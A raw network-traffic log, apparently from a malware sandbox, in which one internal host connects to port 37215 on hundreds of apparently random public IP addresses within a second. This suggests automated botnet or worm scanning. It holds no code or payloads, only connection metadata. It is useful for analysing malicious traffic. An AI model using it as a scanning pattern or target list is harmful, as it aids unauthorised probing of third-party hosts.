Aug 1, 2024 15:34:57.920651913 CEST	37215	35616	197.249.88.214	192.168.2.14
Aug 1, 2024 15:34:57.920651913 CEST	37282	37215	192.168.2.14	89.158.201.188
Aug 1, 2024 15:34:57.920659065 CEST	34186	37215	192.168.2.14	41.193.128.149
Aug 1, 2024 15:34:57.920661926 CEST	37215	42838	157.143.154.46	192.168.2.14
Aug 1, 2024 15:34:57.920672894 CEST	37215	42784	122.184.139.106	192.168.2.14
Aug 1, 2024 15:34:57.920681000 CEST	43696	37215	192.168.2.14	177.117.141.141
Aug 1, 2024 15:34:57.920681000 CEST	35616	37215	192.168.2.14	197.249.88.214
Aug 1, 2024 15:34:57.920685053 CEST	37215	41254	197.61.148.16	192.168.2.14
Aug 1, 2024 15:34:57.920695066 CEST	37215	46892	157.172.58.12	192.168.2.14
Aug 1, 2024 15:34:57.920703888 CEST	37215	35848	117.187.225.22	192.168.2.14
Aug 1, 2024 15:34:57.920706034 CEST	42838	37215	192.168.2.14	157.143.154.46
Aug 1, 2024 15:34:57.920706034 CEST	42784	37215	192.168.2.14	122.184.139.106
Aug 1, 2024 15:34:57.920713902 CEST	37215	50606	157.142.243.64	192.168.2.14
Aug 1, 2024 15:34:57.920720100 CEST	41254	37215	192.168.2.14	197.61.148.16
Aug 1, 2024 15:34:57.920723915 CEST	46892	37215	192.168.2.14	157.172.58.12
Aug 1, 2024 15:34:57.920737982 CEST	35848	37215	192.168.2.14	117.187.225.22
Aug 1, 2024 15:34:57.920737982 CEST	50606	37215	192.168.2.14	157.142.243.64
Aug 1, 2024 15:34:57.920842886 CEST	36728	37215	192.168.2.14	157.84.64.80
Aug 1, 2024 15:34:57.921297073 CEST	37215	57316	197.4.230.80	192.168.2.14
Aug 1, 2024 15:34:57.921309948 CEST	37215	59624	86.145.59.248	192.168.2.14
Aug 1, 2024 15:34:57.921336889 CEST	57316	37215	192.168.2.14	197.4.230.80
Aug 1, 2024 15:34:57.921344995 CEST	37215	45048	188.157.140.238	192.168.2.14
Aug 1, 2024 15:34:57.921349049 CEST	59624	37215	192.168.2.14	86.145.59.248
Aug 1, 2024 15:34:57.921377897 CEST	37215	35032	41.53.153.51	192.168.2.14
Aug 1, 2024 15:34:57.921396017 CEST	37215	39362	197.115.108.30	192.168.2.14
Aug 1, 2024 15:34:57.921406984 CEST	37215	44470	157.111.86.94	192.168.2.14
Aug 1, 2024 15:34:57.921416998 CEST	35032	37215	192.168.2.14	41.53.153.51
Aug 1, 2024 15:34:57.921444893 CEST	44470	37215	192.168.2.14	157.111.86.94
Aug 1, 2024 15:34:57.921444893 CEST	39362	37215	192.168.2.14	197.115.108.30
Aug 1, 2024 15:34:57.921643972 CEST	59558	37215	192.168.2.14	200.72.248.194
Aug 1, 2024 15:34:57.922559023 CEST	58682	37215	192.168.2.14	115.207.220.252
Aug 1, 2024 15:34:57.922631979 CEST	37215	53942	157.252.45.45	192.168.2.14
Aug 1, 2024 15:34:57.922667980 CEST	53942	37215	192.168.2.14	157.252.45.45
Aug 1, 2024 15:34:57.922700882 CEST	37215	35866	157.55.99.228	192.168.2.14
Aug 1, 2024 15:34:57.922741890 CEST	35866	37215	192.168.2.14	157.55.99.228
Aug 1, 2024 15:34:57.923053026 CEST	37215	54428	105.61.187.232	192.168.2.14
Aug 1, 2024 15:34:57.923091888 CEST	54428	37215	192.168.2.14	105.61.187.232
Aug 1, 2024 15:34:57.923382044 CEST	47450	37215	192.168.2.14	197.117.183.255
Aug 1, 2024 15:34:57.924174070 CEST	44322	37215	192.168.2.14	197.17.154.0
Aug 1, 2024 15:34:57.925086021 CEST	37215	43408	157.37.145.138	192.168.2.14
Aug 1, 2024 15:34:57.925123930 CEST	43408	37215	192.168.2.14	157.37.145.138
Aug 1, 2024 15:34:57.925240040 CEST	58414	37215	192.168.2.14	41.229.34.33
Aug 1, 2024 15:34:57.926007986 CEST	37215	33478	157.116.105.171	192.168.2.14
Aug 1, 2024 15:34:57.926063061 CEST	33478	37215	192.168.2.14	157.116.105.171
Aug 1, 2024 15:34:57.926166058 CEST	47634	37215	192.168.2.14	41.181.87.70
Aug 1, 2024 15:34:57.926978111 CEST	40012	37215	192.168.2.14	116.122.159.73
Aug 1, 2024 15:34:57.927115917 CEST	37215	47688	197.115.117.73	192.168.2.14
Aug 1, 2024 15:34:57.927150011 CEST	47688	37215	192.168.2.14	197.115.117.73
Aug 1, 2024 15:34:57.927747011 CEST	52726	37215	192.168.2.14	197.159.91.59
Aug 1, 2024 15:34:57.928497076 CEST	57756	37215	192.168.2.14	157.147.34.89
Aug 1, 2024 15:34:57.928761005 CEST	37215	43028	147.57.45.29	192.168.2.14
Aug 1, 2024 15:34:57.928812981 CEST	43028	37215	192.168.2.14	147.57.45.29
Aug 1, 2024 15:34:57.929219007 CEST	43630	37215	192.168.2.14	157.86.186.82
Aug 1, 2024 15:34:57.929948092 CEST	45678	37215	192.168.2.14	210.206.245.32
Aug 1, 2024 15:34:57.929996014 CEST	37215	46584	197.224.223.95	192.168.2.14
Aug 1, 2024 15:34:57.930033922 CEST	46584	37215	192.168.2.14	197.224.223.95
Aug 1, 2024 15:34:57.930651903 CEST	44562	37215	192.168.2.14	41.173.175.247
Aug 1, 2024 15:34:57.931607008 CEST	51770	37215	192.168.2.14	157.222.169.28
Aug 1, 2024 15:34:57.931797981 CEST	37215	41010	41.119.64.108	192.168.2.14
Aug 1, 2024 15:34:57.931834936 CEST	41010	37215	192.168.2.14	41.119.64.108
Aug 1, 2024 15:34:57.932368040 CEST	53618	37215	192.168.2.14	41.114.57.144
Aug 1, 2024 15:34:57.933120966 CEST	51818	37215	192.168.2.14	157.214.156.161
Aug 1, 2024 15:34:57.933382034 CEST	37215	47630	41.235.161.222	192.168.2.14
Aug 1, 2024 15:34:57.933420897 CEST	47630	37215	192.168.2.14	41.235.161.222
Aug 1, 2024 15:34:57.933770895 CEST	37215	34396	41.242.194.188	192.168.2.14
Aug 1, 2024 15:34:57.933810949 CEST	34396	37215	192.168.2.14	41.242.194.188
Aug 1, 2024 15:34:57.933887959 CEST	38666	37215	192.168.2.14	197.90.214.116
Aug 1, 2024 15:34:57.934048891 CEST	37215	53946	41.246.219.118	192.168.2.14
Aug 1, 2024 15:34:57.934096098 CEST	53946	37215	192.168.2.14	41.246.219.118
Aug 1, 2024 15:34:57.934408903 CEST	37215	35174	197.92.230.23	192.168.2.14
Aug 1, 2024 15:34:57.934514046 CEST	35174	37215	192.168.2.14	197.92.230.23
Aug 1, 2024 15:34:57.934607029 CEST	34126	37215	192.168.2.14	41.37.117.100
Aug 1, 2024 15:34:57.934830904 CEST	37215	49672	157.153.88.99	192.168.2.14
Aug 1, 2024 15:34:57.934853077 CEST	37215	54052	9.105.10.4	192.168.2.14
Aug 1, 2024 15:34:57.934864044 CEST	37215	34936	79.196.100.247	192.168.2.14
Aug 1, 2024 15:34:57.934870005 CEST	49672	37215	192.168.2.14	157.153.88.99
Aug 1, 2024 15:34:57.934884071 CEST	54052	37215	192.168.2.14	9.105.10.4
Aug 1, 2024 15:34:57.934895992 CEST	34936	37215	192.168.2.14	79.196.100.247
Aug 1, 2024 15:34:57.935189009 CEST	37215	39210	41.243.3.39	192.168.2.14
Aug 1, 2024 15:34:57.935230017 CEST	39210	37215	192.168.2.14	41.243.3.39
Aug 1, 2024 15:34:57.935364962 CEST	32782	37215	192.168.2.14	157.36.160.152
Aug 1, 2024 15:34:57.935461998 CEST	37215	36162	197.69.41.146	192.168.2.14
Aug 1, 2024 15:34:57.935473919 CEST	37215	35996	162.197.87.219	192.168.2.14
Aug 1, 2024 15:34:57.935504913 CEST	36162	37215	192.168.2.14	197.69.41.146
Aug 1, 2024 15:34:57.935513973 CEST	35996	37215	192.168.2.14	162.197.87.219
Aug 1, 2024 15:34:57.936268091 CEST	45970	37215	192.168.2.14	157.84.4.1
Aug 1, 2024 15:34:57.936409950 CEST	37215	36728	157.84.64.80	192.168.2.14
Aug 1, 2024 15:34:57.936423063 CEST	37215	59558	200.72.248.194	192.168.2.14
Aug 1, 2024 15:34:57.936451912 CEST	36728	37215	192.168.2.14	157.84.64.80
Aug 1, 2024 15:34:57.936451912 CEST	59558	37215	192.168.2.14	200.72.248.194
Aug 1, 2024 15:34:57.936454058 CEST	37215	58682	115.207.220.252	192.168.2.14
Aug 1, 2024 15:34:57.936506033 CEST	58682	37215	192.168.2.14	115.207.220.252
Aug 1, 2024 15:34:57.936783075 CEST	37215	47450	197.117.183.255	192.168.2.14
Aug 1, 2024 15:34:57.936816931 CEST	47450	37215	192.168.2.14	197.117.183.255
Aug 1, 2024 15:34:57.937000990 CEST	43132	37215	192.168.2.14	197.219.253.245
Aug 1, 2024 15:34:57.937004089 CEST	37215	44322	197.17.154.0	192.168.2.14
Aug 1, 2024 15:34:57.937038898 CEST	44322	37215	192.168.2.14	197.17.154.0
Aug 1, 2024 15:34:57.937484026 CEST	37215	58414	41.229.34.33	192.168.2.14
Aug 1, 2024 15:34:57.937520027 CEST	58414	37215	192.168.2.14	41.229.34.33
Aug 1, 2024 15:34:57.937814951 CEST	42938	37215	192.168.2.14	41.88.166.205
Aug 1, 2024 15:34:57.938385010 CEST	37215	47634	41.181.87.70	192.168.2.14
Aug 1, 2024 15:34:57.938397884 CEST	37215	40012	116.122.159.73	192.168.2.14
Aug 1, 2024 15:34:57.938429117 CEST	47634	37215	192.168.2.14	41.181.87.70
Aug 1, 2024 15:34:57.938441038 CEST	40012	37215	192.168.2.14	116.122.159.73
Aug 1, 2024 15:34:57.938484907 CEST	38358	37215	192.168.2.14	173.114.107.169
Aug 1, 2024 15:34:57.938929081 CEST	37215	52726	197.159.91.59	192.168.2.14
Aug 1, 2024 15:34:57.938968897 CEST	52726	37215	192.168.2.14	197.159.91.59
Aug 1, 2024 15:34:57.939213991 CEST	48016	37215	192.168.2.14	197.76.83.220
Aug 1, 2024 15:34:57.939256907 CEST	37215	57756	157.147.34.89	192.168.2.14
Aug 1, 2024 15:34:57.939306974 CEST	57756	37215	192.168.2.14	157.147.34.89
Aug 1, 2024 15:34:57.939694881 CEST	37215	43630	157.86.186.82	192.168.2.14
Aug 1, 2024 15:34:57.939707041 CEST	37215	45678	210.206.245.32	192.168.2.14
Aug 1, 2024 15:34:57.939721107 CEST	37215	44562	41.173.175.247	192.168.2.14
Aug 1, 2024 15:34:57.939730883 CEST	43630	37215	192.168.2.14	157.86.186.82
Aug 1, 2024 15:34:57.939748049 CEST	44562	37215	192.168.2.14	41.173.175.247
Aug 1, 2024 15:34:57.939749956 CEST	45678	37215	192.168.2.14	210.206.245.32
Aug 1, 2024 15:34:57.939953089 CEST	47554	37215	192.168.2.14	152.232.93.173
Aug 1, 2024 15:34:57.939989090 CEST	37215	51770	157.222.169.28	192.168.2.14
Aug 1, 2024 15:34:57.940023899 CEST	51770	37215	192.168.2.14	157.222.169.28
Aug 1, 2024 15:34:57.940713882 CEST	59010	37215	192.168.2.14	157.74.54.45
Aug 1, 2024 15:34:57.940740108 CEST	37215	53618	41.114.57.144	192.168.2.14
Aug 1, 2024 15:34:57.940767050 CEST	37215	51818	157.214.156.161	192.168.2.14
Aug 1, 2024 15:34:57.940779924 CEST	53618	37215	192.168.2.14	41.114.57.144
Aug 1, 2024 15:34:57.940804005 CEST	51818	37215	192.168.2.14	157.214.156.161
Aug 1, 2024 15:34:57.940870047 CEST	37215	38666	197.90.214.116	192.168.2.14
Aug 1, 2024 15:34:57.940882921 CEST	37215	34126	41.37.117.100	192.168.2.14
Aug 1, 2024 15:34:57.940911055 CEST	38666	37215	192.168.2.14	197.90.214.116
Aug 1, 2024 15:34:57.940911055 CEST	34126	37215	192.168.2.14	41.37.117.100
Aug 1, 2024 15:34:57.940965891 CEST	37215	32782	157.36.160.152	192.168.2.14
Aug 1, 2024 15:34:57.940992117 CEST	37215	45970	157.84.4.1	192.168.2.14
Aug 1, 2024 15:34:57.941003084 CEST	32782	37215	192.168.2.14	157.36.160.152
Aug 1, 2024 15:34:57.941037893 CEST	45970	37215	192.168.2.14	157.84.4.1
Aug 1, 2024 15:34:57.941591978 CEST	37726	37215	192.168.2.14	119.247.203.93
Aug 1, 2024 15:34:57.941808939 CEST	37215	43132	197.219.253.245	192.168.2.14
Aug 1, 2024 15:34:57.941848040 CEST	43132	37215	192.168.2.14	197.219.253.245
Aug 1, 2024 15:34:57.942333937 CEST	45412	37215	192.168.2.14	41.121.204.245
Aug 1, 2024 15:34:57.942703009 CEST	37215	42938	41.88.166.205	192.168.2.14
Aug 1, 2024 15:34:57.942738056 CEST	42938	37215	192.168.2.14	41.88.166.205
Aug 1, 2024 15:34:57.943084955 CEST	58400	37215	192.168.2.14	157.143.230.35
Aug 1, 2024 15:34:57.943332911 CEST	37215	38358	173.114.107.169	192.168.2.14
Aug 1, 2024 15:34:57.943368912 CEST	38358	37215	192.168.2.14	173.114.107.169
Aug 1, 2024 15:34:57.943784952 CEST	50822	37215	192.168.2.14	149.176.208.237
Aug 1, 2024 15:34:57.944123030 CEST	37215	48016	197.76.83.220	192.168.2.14
Aug 1, 2024 15:34:57.944164991 CEST	48016	37215	192.168.2.14	197.76.83.220
Aug 1, 2024 15:34:57.944499016 CEST	32954	37215	192.168.2.14	41.85.120.196
Aug 1, 2024 15:34:57.944870949 CEST	37215	47554	152.232.93.173	192.168.2.14
Aug 1, 2024 15:34:57.944907904 CEST	47554	37215	192.168.2.14	152.232.93.173
Aug 1, 2024 15:34:57.945246935 CEST	48492	37215	192.168.2.14	99.6.122.63
Aug 1, 2024 15:34:57.945542097 CEST	37215	59010	157.74.54.45	192.168.2.14
Aug 1, 2024 15:34:57.945580006 CEST	59010	37215	192.168.2.14	157.74.54.45
Aug 1, 2024 15:34:57.946281910 CEST	47268	37215	192.168.2.14	157.21.7.82
Aug 1, 2024 15:34:57.946556091 CEST	37215	37726	119.247.203.93	192.168.2.14
Aug 1, 2024 15:34:57.946594000 CEST	37726	37215	192.168.2.14	119.247.203.93
Aug 1, 2024 15:34:57.947025061 CEST	45212	37215	192.168.2.14	121.244.99.184
Aug 1, 2024 15:34:57.947166920 CEST	37215	45412	41.121.204.245	192.168.2.14
Aug 1, 2024 15:34:57.947210073 CEST	45412	37215	192.168.2.14	41.121.204.245
Aug 1, 2024 15:34:57.947910070 CEST	37215	58400	157.143.230.35	192.168.2.14
Aug 1, 2024 15:34:57.947949886 CEST	58400	37215	192.168.2.14	157.143.230.35
Aug 1, 2024 15:34:57.947961092 CEST	44120	37215	192.168.2.14	197.229.191.118
Aug 1, 2024 15:34:57.948565006 CEST	37215	50822	149.176.208.237	192.168.2.14
Aug 1, 2024 15:34:57.948596954 CEST	50822	37215	192.168.2.14	149.176.208.237
Aug 1, 2024 15:34:57.948730946 CEST	52244	37215	192.168.2.14	76.134.1.80
Aug 1, 2024 15:34:57.949259996 CEST	37215	32954	41.85.120.196	192.168.2.14
Aug 1, 2024 15:34:57.949297905 CEST	32954	37215	192.168.2.14	41.85.120.196
Aug 1, 2024 15:34:57.949518919 CEST	45016	37215	192.168.2.14	136.240.75.168
Aug 1, 2024 15:34:57.950131893 CEST	37215	48492	99.6.122.63	192.168.2.14
Aug 1, 2024 15:34:57.950175047 CEST	48492	37215	192.168.2.14	99.6.122.63
Aug 1, 2024 15:34:57.950520039 CEST	58360	37215	192.168.2.14	44.107.91.32
Aug 1, 2024 15:34:57.951069117 CEST	37215	47268	157.21.7.82	192.168.2.14
Aug 1, 2024 15:34:57.951109886 CEST	47268	37215	192.168.2.14	157.21.7.82
Aug 1, 2024 15:34:57.951363087 CEST	38508	37215	192.168.2.14	157.138.68.130
Aug 1, 2024 15:34:57.951908112 CEST	37215	45212	121.244.99.184	192.168.2.14
Aug 1, 2024 15:34:57.951958895 CEST	45212	37215	192.168.2.14	121.244.99.184
Aug 1, 2024 15:34:57.952095985 CEST	37124	37215	192.168.2.14	8.77.197.97
Aug 1, 2024 15:34:57.952855110 CEST	42980	37215	192.168.2.14	135.126.90.169
Aug 1, 2024 15:34:57.952949047 CEST	37215	44120	197.229.191.118	192.168.2.14
Aug 1, 2024 15:34:57.952991009 CEST	44120	37215	192.168.2.14	197.229.191.118
Aug 1, 2024 15:34:57.953568935 CEST	37215	52244	76.134.1.80	192.168.2.14
Aug 1, 2024 15:34:57.953572035 CEST	44990	37215	192.168.2.14	58.206.132.145
Aug 1, 2024 15:34:57.953610897 CEST	52244	37215	192.168.2.14	76.134.1.80
Aug 1, 2024 15:34:57.954307079 CEST	37215	45016	136.240.75.168	192.168.2.14
Aug 1, 2024 15:34:57.954344034 CEST	45016	37215	192.168.2.14	136.240.75.168
Aug 1, 2024 15:34:57.954363108 CEST	37294	37215	192.168.2.14	193.62.208.172
Aug 1, 2024 15:34:57.954930067 CEST	52222	37215	192.168.2.14	157.195.114.238
Aug 1, 2024 15:34:57.954950094 CEST	36586	37215	192.168.2.14	200.156.103.209
Aug 1, 2024 15:34:57.954981089 CEST	46778	37215	192.168.2.14	27.57.102.199
Aug 1, 2024 15:34:57.955008984 CEST	40864	37215	192.168.2.14	41.150.28.211
Aug 1, 2024 15:34:57.955035925 CEST	42200	37215	192.168.2.14	41.103.184.180
Aug 1, 2024 15:34:57.955070019 CEST	36768	37215	192.168.2.14	157.234.123.41
Aug 1, 2024 15:34:57.955097914 CEST	56702	37215	192.168.2.14	197.5.0.94
Aug 1, 2024 15:34:57.955118895 CEST	53584	37215	192.168.2.14	197.51.113.103
Aug 1, 2024 15:34:57.955142021 CEST	59660	37215	192.168.2.14	197.14.237.171
Aug 1, 2024 15:34:57.955168009 CEST	45172	37215	192.168.2.14	102.97.63.75
Aug 1, 2024 15:34:57.955224037 CEST	55958	37215	192.168.2.14	41.146.96.4
Aug 1, 2024 15:34:57.955240011 CEST	35962	37215	192.168.2.14	137.123.9.9
Aug 1, 2024 15:34:57.955264091 CEST	44670	37215	192.168.2.14	12.5.237.45
Aug 1, 2024 15:34:57.955270052 CEST	42208	37215	192.168.2.14	41.172.52.42
Aug 1, 2024 15:34:57.955281973 CEST	36058	37215	192.168.2.14	197.238.214.184
Aug 1, 2024 15:34:57.955308914 CEST	55860	37215	192.168.2.14	157.186.91.72
Aug 1, 2024 15:34:57.955332041 CEST	34188	37215	192.168.2.14	41.3.255.40
Aug 1, 2024 15:34:57.955348969 CEST	47942	37215	192.168.2.14	41.34.162.72
Aug 1, 2024 15:34:57.955378056 CEST	49764	37215	192.168.2.14	197.6.247.128
Aug 1, 2024 15:34:57.955395937 CEST	47206	37215	192.168.2.14	41.124.231.62
Aug 1, 2024 15:34:57.955425024 CEST	53880	37215	192.168.2.14	157.3.231.133
Aug 1, 2024 15:34:57.955447912 CEST	37860	37215	192.168.2.14	157.22.48.45
Aug 1, 2024 15:34:57.955472946 CEST	36092	37215	192.168.2.14	157.239.173.146
Aug 1, 2024 15:34:57.955493927 CEST	60118	37215	192.168.2.14	157.139.217.248
Aug 1, 2024 15:34:57.955517054 CEST	39132	37215	192.168.2.14	41.243.30.216
Aug 1, 2024 15:34:57.955540895 CEST	57968	37215	192.168.2.14	157.124.238.97
Aug 1, 2024 15:34:57.955574989 CEST	60860	37215	192.168.2.14	135.171.11.223
Aug 1, 2024 15:34:57.955595016 CEST	41632	37215	192.168.2.14	157.143.77.8
Aug 1, 2024 15:34:57.955622911 CEST	54344	37215	192.168.2.14	41.112.168.9
Aug 1, 2024 15:34:57.955650091 CEST	60482	37215	192.168.2.14	197.253.172.111
Aug 1, 2024 15:34:57.955663919 CEST	37215	58360	44.107.91.32	192.168.2.14
Aug 1, 2024 15:34:57.955679893 CEST	42674	37215	192.168.2.14	197.139.84.49
Aug 1, 2024 15:34:57.955707073 CEST	58360	37215	192.168.2.14	44.107.91.32
Aug 1, 2024 15:34:57.955727100 CEST	45244	37215	192.168.2.14	41.185.100.117
Aug 1, 2024 15:34:57.955749989 CEST	50912	37215	192.168.2.14	157.97.41.229
Aug 1, 2024 15:34:57.955780029 CEST	49010	37215	192.168.2.14	197.101.242.74
Aug 1, 2024 15:34:57.955806971 CEST	56238	37215	192.168.2.14	157.23.152.245
Aug 1, 2024 15:34:57.955833912 CEST	44804	37215	192.168.2.14	197.128.51.138
Aug 1, 2024 15:34:57.955872059 CEST	37384	37215	192.168.2.14	157.16.45.114
Aug 1, 2024 15:34:57.955893040 CEST	52190	37215	192.168.2.14	41.26.100.186
Aug 1, 2024 15:34:57.955915928 CEST	32926	37215	192.168.2.14	197.15.213.209
Aug 1, 2024 15:34:57.955950975 CEST	53504	37215	192.168.2.14	157.178.58.224
Aug 1, 2024 15:34:57.955976009 CEST	40542	37215	192.168.2.14	197.91.165.77
Aug 1, 2024 15:34:57.955997944 CEST	45042	37215	192.168.2.14	157.141.216.101
Aug 1, 2024 15:34:57.956043005 CEST	34698	37215	192.168.2.14	157.253.143.41
Aug 1, 2024 15:34:57.956049919 CEST	42852	37215	192.168.2.14	197.194.38.163
Aug 1, 2024 15:34:57.956072092 CEST	34110	37215	192.168.2.14	157.6.154.255
Aug 1, 2024 15:34:57.956103086 CEST	60066	37215	192.168.2.14	41.38.190.41
Aug 1, 2024 15:34:57.956129074 CEST	39356	37215	192.168.2.14	197.113.21.92
Aug 1, 2024 15:34:57.956160069 CEST	34450	37215	192.168.2.14	157.237.238.8
Aug 1, 2024 15:34:57.956183910 CEST	32902	37215	192.168.2.14	150.202.107.179
Aug 1, 2024 15:34:57.956214905 CEST	54272	37215	192.168.2.14	41.72.112.32
Aug 1, 2024 15:34:57.956242085 CEST	57886	37215	192.168.2.14	41.76.214.25
Aug 1, 2024 15:34:57.956268072 CEST	37282	37215	192.168.2.14	89.158.201.188
Aug 1, 2024 15:34:57.956293106 CEST	34186	37215	192.168.2.14	41.193.128.149
Aug 1, 2024 15:34:57.956325054 CEST	43696	37215	192.168.2.14	177.117.141.141
Aug 1, 2024 15:34:57.956358910 CEST	35616	37215	192.168.2.14	197.249.88.214
Aug 1, 2024 15:34:57.956393003 CEST	42838	37215	192.168.2.14	157.143.154.46
Aug 1, 2024 15:34:57.956403017 CEST	42784	37215	192.168.2.14	122.184.139.106
Aug 1, 2024 15:34:57.956429005 CEST	41254	37215	192.168.2.14	197.61.148.16
Aug 1, 2024 15:34:57.956448078 CEST	46892	37215	192.168.2.14	157.172.58.12
Aug 1, 2024 15:34:57.956475019 CEST	35848	37215	192.168.2.14	117.187.225.22
Aug 1, 2024 15:34:57.956501007 CEST	50606	37215	192.168.2.14	157.142.243.64
Aug 1, 2024 15:34:57.956537008 CEST	57316	37215	192.168.2.14	197.4.230.80
Aug 1, 2024 15:34:57.956556082 CEST	59624	37215	192.168.2.14	86.145.59.248
Aug 1, 2024 15:34:57.956583977 CEST	35032	37215	192.168.2.14	41.53.153.51
Aug 1, 2024 15:34:57.956617117 CEST	39362	37215	192.168.2.14	197.115.108.30
Aug 1, 2024 15:34:57.956629038 CEST	44470	37215	192.168.2.14	157.111.86.94
Aug 1, 2024 15:34:57.956654072 CEST	53942	37215	192.168.2.14	157.252.45.45
Aug 1, 2024 15:34:57.956676960 CEST	35866	37215	192.168.2.14	157.55.99.228
Aug 1, 2024 15:34:57.956696033 CEST	54428	37215	192.168.2.14	105.61.187.232
Aug 1, 2024 15:34:57.956729889 CEST	43408	37215	192.168.2.14	157.37.145.138
Aug 1, 2024 15:34:57.956768036 CEST	33478	37215	192.168.2.14	157.116.105.171
Aug 1, 2024 15:34:57.956775904 CEST	47688	37215	192.168.2.14	197.115.117.73
Aug 1, 2024 15:34:57.956799030 CEST	43028	37215	192.168.2.14	147.57.45.29
Aug 1, 2024 15:34:57.956826925 CEST	46584	37215	192.168.2.14	197.224.223.95
Aug 1, 2024 15:34:57.956845045 CEST	41010	37215	192.168.2.14	41.119.64.108
Aug 1, 2024 15:34:57.956871986 CEST	47630	37215	192.168.2.14	41.235.161.222
Aug 1, 2024 15:34:57.956888914 CEST	34396	37215	192.168.2.14	41.242.194.188
Aug 1, 2024 15:34:57.956922054 CEST	53946	37215	192.168.2.14	41.246.219.118
Aug 1, 2024 15:34:57.956949949 CEST	37215	38508	157.138.68.130	192.168.2.14
Aug 1, 2024 15:34:57.956955910 CEST	35174	37215	192.168.2.14	197.92.230.23
Aug 1, 2024 15:34:57.956975937 CEST	49672	37215	192.168.2.14	157.153.88.99
Aug 1, 2024 15:34:57.956991911 CEST	38508	37215	192.168.2.14	157.138.68.130
Aug 1, 2024 15:34:57.957024097 CEST	54052	37215	192.168.2.14	9.105.10.4
Aug 1, 2024 15:34:57.957045078 CEST	34936	37215	192.168.2.14	79.196.100.247
Aug 1, 2024 15:34:57.957051039 CEST	37215	37124	8.77.197.97	192.168.2.14
Aug 1, 2024 15:34:57.957068920 CEST	39210	37215	192.168.2.14	41.243.3.39
Aug 1, 2024 15:34:57.957098007 CEST	36162	37215	192.168.2.14	197.69.41.146
Aug 1, 2024 15:34:57.957130909 CEST	35996	37215	192.168.2.14	162.197.87.219
Aug 1, 2024 15:34:57.957134008 CEST	37124	37215	192.168.2.14	8.77.197.97
Aug 1, 2024 15:34:57.957163095 CEST	36728	37215	192.168.2.14	157.84.64.80
Aug 1, 2024 15:34:57.957189083 CEST	59558	37215	192.168.2.14	200.72.248.194
Aug 1, 2024 15:34:57.957214117 CEST	58682	37215	192.168.2.14	115.207.220.252
Aug 1, 2024 15:34:57.957247972 CEST	47450	37215	192.168.2.14	197.117.183.255
Aug 1, 2024 15:34:57.957271099 CEST	44322	37215	192.168.2.14	197.17.154.0
Aug 1, 2024 15:34:57.957293034 CEST	58414	37215	192.168.2.14	41.229.34.33
Aug 1, 2024 15:34:57.957315922 CEST	47634	37215	192.168.2.14	41.181.87.70
Aug 1, 2024 15:34:57.957336903 CEST	40012	37215	192.168.2.14	116.122.159.73
Aug 1, 2024 15:34:57.957370043 CEST	52726	37215	192.168.2.14	197.159.91.59
Aug 1, 2024 15:34:57.957401037 CEST	57756	37215	192.168.2.14	157.147.34.89
Aug 1, 2024 15:34:57.957426071 CEST	43630	37215	192.168.2.14	157.86.186.82
Aug 1, 2024 15:34:57.957473040 CEST	45678	37215	192.168.2.14	210.206.245.32
Aug 1, 2024 15:34:57.957478046 CEST	44562	37215	192.168.2.14	41.173.175.247
Aug 1, 2024 15:34:57.957499027 CEST	51770	37215	192.168.2.14	157.222.169.28
Aug 1, 2024 15:34:57.957530022 CEST	53618	37215	192.168.2.14	41.114.57.144
Aug 1, 2024 15:34:57.957554102 CEST	51818	37215	192.168.2.14	157.214.156.161
Aug 1, 2024 15:34:57.957573891 CEST	38666	37215	192.168.2.14	197.90.214.116
Aug 1, 2024 15:34:57.957617998 CEST	37215	42980	135.126.90.169	192.168.2.14
Aug 1, 2024 15:34:57.957623959 CEST	34126	37215	192.168.2.14	41.37.117.100
Aug 1, 2024 15:34:57.957627058 CEST	32782	37215	192.168.2.14	157.36.160.152
Aug 1, 2024 15:34:57.957652092 CEST	42980	37215	192.168.2.14	135.126.90.169
Aug 1, 2024 15:34:57.957669020 CEST	45970	37215	192.168.2.14	157.84.4.1
Aug 1, 2024 15:34:57.957686901 CEST	43132	37215	192.168.2.14	197.219.253.245
Aug 1, 2024 15:34:57.957712889 CEST	42938	37215	192.168.2.14	41.88.166.205
Aug 1, 2024 15:34:57.957743883 CEST	38358	37215	192.168.2.14	173.114.107.169
Aug 1, 2024 15:34:57.957772970 CEST	48016	37215	192.168.2.14	197.76.83.220
Aug 1, 2024 15:34:57.957796097 CEST	47554	37215	192.168.2.14	152.232.93.173
Aug 1, 2024 15:34:57.957824945 CEST	59010	37215	192.168.2.14	157.74.54.45
Aug 1, 2024 15:34:57.957855940 CEST	37726	37215	192.168.2.14	119.247.203.93
Aug 1, 2024 15:34:57.957880020 CEST	45412	37215	192.168.2.14	41.121.204.245
Aug 1, 2024 15:34:57.957906961 CEST	58400	37215	192.168.2.14	157.143.230.35
Aug 1, 2024 15:34:57.957937002 CEST	50822	37215	192.168.2.14	149.176.208.237
Aug 1, 2024 15:34:57.957957983 CEST	32954	37215	192.168.2.14	41.85.120.196
Aug 1, 2024 15:34:57.957973957 CEST	48492	37215	192.168.2.14	99.6.122.63
Aug 1, 2024 15:34:57.957999945 CEST	47268	37215	192.168.2.14	157.21.7.82
Aug 1, 2024 15:34:57.958023071 CEST	45212	37215	192.168.2.14	121.244.99.184
Aug 1, 2024 15:34:57.958056927 CEST	44120	37215	192.168.2.14	197.229.191.118
Aug 1, 2024 15:34:57.958087921 CEST	52244	37215	192.168.2.14	76.134.1.80
Aug 1, 2024 15:34:57.958118916 CEST	45016	37215	192.168.2.14	136.240.75.168
Aug 1, 2024 15:34:57.958147049 CEST	52222	37215	192.168.2.14	157.195.114.238
Aug 1, 2024 15:34:57.958158970 CEST	36586	37215	192.168.2.14	200.156.103.209
Aug 1, 2024 15:34:57.958174944 CEST	46778	37215	192.168.2.14	27.57.102.199
Aug 1, 2024 15:34:57.958184958 CEST	40864	37215	192.168.2.14	41.150.28.211
Aug 1, 2024 15:34:57.958197117 CEST	42200	37215	192.168.2.14	41.103.184.180
Aug 1, 2024 15:34:57.958210945 CEST	36768	37215	192.168.2.14	157.234.123.41
Aug 1, 2024 15:34:57.958223104 CEST	56702	37215	192.168.2.14	197.5.0.94
Aug 1, 2024 15:34:57.958229065 CEST	53584	37215	192.168.2.14	197.51.113.103
Aug 1, 2024 15:34:57.958231926 CEST	59660	37215	192.168.2.14	197.14.237.171
Aug 1, 2024 15:34:57.958250999 CEST	45172	37215	192.168.2.14	102.97.63.75
Aug 1, 2024 15:34:57.958250999 CEST	42208	37215	192.168.2.14	41.172.52.42
Aug 1, 2024 15:34:57.958261013 CEST	55958	37215	192.168.2.14	41.146.96.4
Aug 1, 2024 15:34:57.958261967 CEST	35962	37215	192.168.2.14	137.123.9.9
